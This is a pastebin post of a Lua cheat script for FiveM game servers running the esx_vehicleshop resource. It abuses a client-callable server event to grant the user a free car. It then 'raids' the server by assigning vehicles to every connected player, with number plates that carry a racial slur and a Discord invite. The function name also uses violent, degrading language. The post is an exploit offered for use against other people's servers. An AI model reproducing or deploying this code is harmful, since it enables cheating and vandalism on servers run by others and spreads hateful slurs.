Give People Cars FiveM


SUBMITTED BY: cplayz

DATE: May 4, 2021, 11:12 a.m.

UPDATED: May 4, 2021, 11:13 a.m.

FORMAT: Text only

SIZE: 1.1 kB

HITS: 597

  1. Give People Cars FiveM
  2. must be saved as .lua
  3. --[[
  4. esx_vehicleshop free vehicle
  5. ]]
  6. local vehicleProps = {
  7. model = GetHashKey('sultanrs'),
  8. plate = 'ABC 123'
  9. }
  10. TriggerServerEvent('esx_vehicleshop:setVehicleOwnedPlayerId', GetPlayerServerId(PlayerId()), vehicleProps)
  11. --[[
  12. esx_vehicleshop raid server
  13. ]]
  14. local rapeWithVehicleshop = function()
  15. local randomVehicles = {
  16. 'sultan',
  17. 'sultanrs',
  18. 'elegy',
  19. 'comet',
  20. 'comet2',
  21. 'comet3',
  22. 'coquette',
  23. 'bestiagts',
  24. }
  25. for key, value in pairs(GetActivePlayers()) do
  26. for _key, _value in pairs(randomVehicles) do
  27. Citizen.Wait(50)
  28. local rplate = (' Gucci#0001 ON TOP NIGGERS discord.gg/hxDSzvb '..math.random(10000, 99999))
  29. TriggerServerEvent('esx_vehicleshop:setVehicleOwnedPlayerId', GetPlayerServerId(value), {model = GetHashKey(_value), plate = rplate})
  30. print(GetPlayerName(value)..' - now owns: '.._value..' | with this plate: '..rplate)
  31. end
  32. end
  33. end
  34. Citizen.CreateThread(rapeWithVehicleshop)

comments powered by Disqus